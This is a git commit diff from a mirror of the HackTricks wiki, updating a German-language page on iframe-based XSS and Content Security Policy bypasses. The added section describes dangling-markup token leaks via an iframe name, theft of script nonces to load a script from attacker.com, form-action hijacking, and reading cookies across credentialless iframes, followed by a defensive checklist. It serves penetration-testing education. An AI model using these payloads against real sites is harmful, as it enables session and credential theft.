mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-
This commit is contained in:
parent
e449b3f8ba
commit
e3456a694d
@ -61,7 +61,7 @@ Daher ist es möglich, die CSP einer Seite mit zu umgehen:
|
||||
<head>
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
|
||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
|
||||
</head>
|
||||
<script>
|
||||
var secret = "31337s3cr37t"
|
||||
@ -77,7 +77,7 @@ src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert
|
||||
</html>
|
||||
```
|
||||
Beachten Sie, dass die **vorherige CSP nur die Ausführung des Inline-Skripts erlaubt**.\
|
||||
Allerdings **werden nur die Skripte `if1` und `if2` ausgeführt, aber nur `if1` kann auf das übergeordnete Geheimnis zugreifen**.
|
||||
Allerdings werden **nur die Skripte `if1` und `if2` ausgeführt, aber nur `if1` kann auf das übergeordnete Geheimnis zugreifen**.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -103,7 +103,43 @@ return "<script>alert(document.cookie)</script>"
|
||||
if __name__ == "__main__":
|
||||
app.run()
|
||||
```
|
||||
### Andere Payloads, die in der Wildnis gefunden wurden <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
||||
#### Neue (2023-2025) CSP-Bypass-Techniken mit Iframes
|
||||
|
||||
Die Forschungsgemeinschaft entdeckt weiterhin kreative Möglichkeiten, um Iframes auszunutzen und restriktive Richtlinien zu umgehen. Im Folgenden finden Sie die bemerkenswertesten Techniken, die in den letzten Jahren veröffentlicht wurden:
|
||||
|
||||
* **Dangling-markup / named-iframe Datenexfiltration (PortSwigger 2023)** – Wenn eine Anwendung HTML reflektiert, aber eine starke CSP die Ausführung von Skripten blockiert, können Sie dennoch sensible Tokens durch das Injizieren eines *dangling* `<iframe name>` Attributs leaken. Sobald das partielle Markup geparst ist, navigiert das Angreifer-Skript, das in einem separaten Ursprung läuft, den Frame zu `about:blank` und liest `window.name`, das jetzt alles bis zum nächsten Anführungszeichen enthält (zum Beispiel ein CSRF-Token). Da kein JavaScript im Kontext des Opfers ausgeführt wird, umgeht der Angriff normalerweise `script-src 'none'`. Ein minimales PoC ist:
|
||||
|
||||
```html
|
||||
<!-- Injection point just before a sensitive <script> -->
|
||||
<iframe name="//attacker.com/?"> <!-- attribute intentionally left open -->
|
||||
````
|
||||
```javascript
|
||||
// attacker.com frame
|
||||
const victim = window.frames[0];
|
||||
victim.location = 'about:blank';
|
||||
console.log(victim.name); // → leaked value
|
||||
```
|
||||
|
||||
* **Nonce-Diebstahl über Same-Origin-Iframe (2024)** – CSP-Nonces werden nicht aus dem DOM entfernt; sie sind lediglich in den DevTools verborgen. Wenn ein Angreifer ein *same-origin* Iframe injizieren kann (zum Beispiel durch Hochladen von HTML auf die Seite), kann der Kind-Frame einfach `document.querySelector('[nonce]').nonce` abfragen und neue `<script nonce>` Knoten erstellen, die die Richtlinie erfüllen, was eine vollständige JavaScript-Ausführung trotz `strict-dynamic` ermöglicht. Das folgende Gadget eskaliert eine Markup-Injektion in XSS:
|
||||
|
||||
```javascript
|
||||
const n = top.document.querySelector('[nonce]').nonce;
|
||||
const s = top.document.createElement('script');
|
||||
s.src = '//attacker.com/pwn.js';
|
||||
s.nonce = n;
|
||||
top.document.body.appendChild(s);
|
||||
```
|
||||
|
||||
* **Form-Action-Hijacking (PortSwigger 2024)** – Eine Seite, die die `form-action`-Richtlinie weglässt, kann ihr Anmeldeformular von einem injizierten Iframe oder Inline-HTML *neu zielen*, sodass Passwortmanager automatisch Anmeldeinformationen an eine externe Domain ausfüllen und übermitteln, selbst wenn `script-src 'none'` vorhanden ist. Ergänzen Sie immer `default-src` mit `form-action`!
|
||||
|
||||
**Defensive Hinweise (schnelle Checkliste)**
|
||||
|
||||
1. Senden Sie immer *alle* CSP-Richtlinien, die sekundäre Kontexte steuern (`form-action`, `frame-src`, `child-src`, `object-src` usw.).
|
||||
2. Verlassen Sie sich nicht darauf, dass Nonces geheim sind – verwenden Sie `strict-dynamic` **und** beseitigen Sie Injektionspunkte.
|
||||
3. Wenn Sie untrusted Dokumente einbetten müssen, verwenden Sie `sandbox="allow-scripts allow-same-origin"` **sehr vorsichtig** (oder ohne `allow-same-origin`, wenn Sie nur eine Isolierung der Skriptausführung benötigen).
|
||||
4. Erwägen Sie eine Defense-in-Depth COOP+COEP-Bereitstellung; das neue `<iframe credentialless>` Attribut (§ unten) ermöglicht dies, ohne Drittanbieter-Einbettungen zu brechen.
|
||||
|
||||
### Andere Payloads, die in der Wildnis gefunden wurden <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
|
||||
```html
|
||||
<!-- This one requires the data: scheme to be allowed -->
|
||||
<iframe
|
||||
@ -130,18 +166,26 @@ Wenn verwendet, auferlegt das `sandbox`-Attribut mehrere Einschränkungen:
|
||||
- Die Navigation des übergeordneten Browsing-Kontexts des Inhalts durch den Inhalt selbst wird verhindert.
|
||||
- Automatisch ausgelöste Funktionen, wie die Wiedergabe von Videos oder das automatische Fokussieren von Formularsteuerelementen, werden blockiert.
|
||||
|
||||
Tipp: Moderne Browser unterstützen granulare Flags wie `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation` usw. Kombinieren Sie sie, um nur die minimalen Fähigkeiten zu gewähren, die die eingebettete Anwendung benötigt.
|
||||
|
||||
Der Wert des Attributs kann leer gelassen werden (`sandbox=""`), um alle oben genannten Einschränkungen anzuwenden. Alternativ kann er auf eine durch Leerzeichen getrennte Liste spezifischer Werte gesetzt werden, die das iframe von bestimmten Einschränkungen befreien.
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
|
||||
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
|
||||
```
|
||||
### Credentialless iframes
|
||||
|
||||
Wie in [diesem Artikel](https://blog.slonser.info/posts/make-self-xss-great-again/) erklärt, wird das `credentialless`-Flag in einem iframe verwendet, um eine Seite innerhalb eines iframes zu laden, ohne Anmeldeinformationen in der Anfrage zu senden, während die Same-Origin-Policy (SOP) der geladenen Seite im iframe beibehalten wird.
|
||||
|
||||
Dies ermöglicht es dem iframe, auf sensible Informationen von einem anderen iframe im gleichen SOP zuzugreifen, das auf der übergeordneten Seite geladen ist:
|
||||
Seit **Chrome 110 (Februar 2023) ist die Funktion standardmäßig aktiviert** und die Spezifikation wird unter dem Namen *anonymer iframe* browserübergreifend standardisiert. MDN beschreibt es als: „ein Mechanismus, um Drittanbieter-iframes in einer brandneuen, flüchtigen Speicherpartition zu laden, sodass keine Cookies, localStorage oder IndexedDB mit dem echten Ursprung geteilt werden“. Konsequenzen für Angreifer und Verteidiger:
|
||||
|
||||
* Skripte in verschiedenen credentialless iframes **teilen sich weiterhin den gleichen Top-Level-Ursprung** und können über das DOM frei interagieren, was mehrfache iframe self-XSS-Angriffe möglich macht (siehe PoC unten).
|
||||
* Da das Netzwerk **credential-stripped** ist, verhält sich jede Anfrage innerhalb des iframes effektiv wie eine nicht authentifizierte Sitzung – CSRF-geschützte Endpunkte schlagen normalerweise fehl, aber öffentliche Seiten, die über das DOM auslesbar sind, sind weiterhin im Geltungsbereich.
|
||||
* Pop-ups, die aus einem credentialless iframe erzeugt werden, erhalten ein implizites `rel="noopener"`, was einige OAuth-Flows unterbricht.
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
// PoC: two same-origin credentialless iframes stealing cookies set by a third
|
||||
window.top[1].document.cookie = 'foo=bar'; // write
|
||||
alert(window.top[2].document.cookie); // read -> foo=bar
|
||||
```
|
||||
- Exploit-Beispiel: Self-XSS + CSRF
|
||||
|
||||
@ -201,4 +245,10 @@ fetchLater(req,{activateAfter: timeout})
|
||||
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [PortSwigger Research – Using form hijacking to bypass CSP (März 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
|
||||
* [Chrome Developers – Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user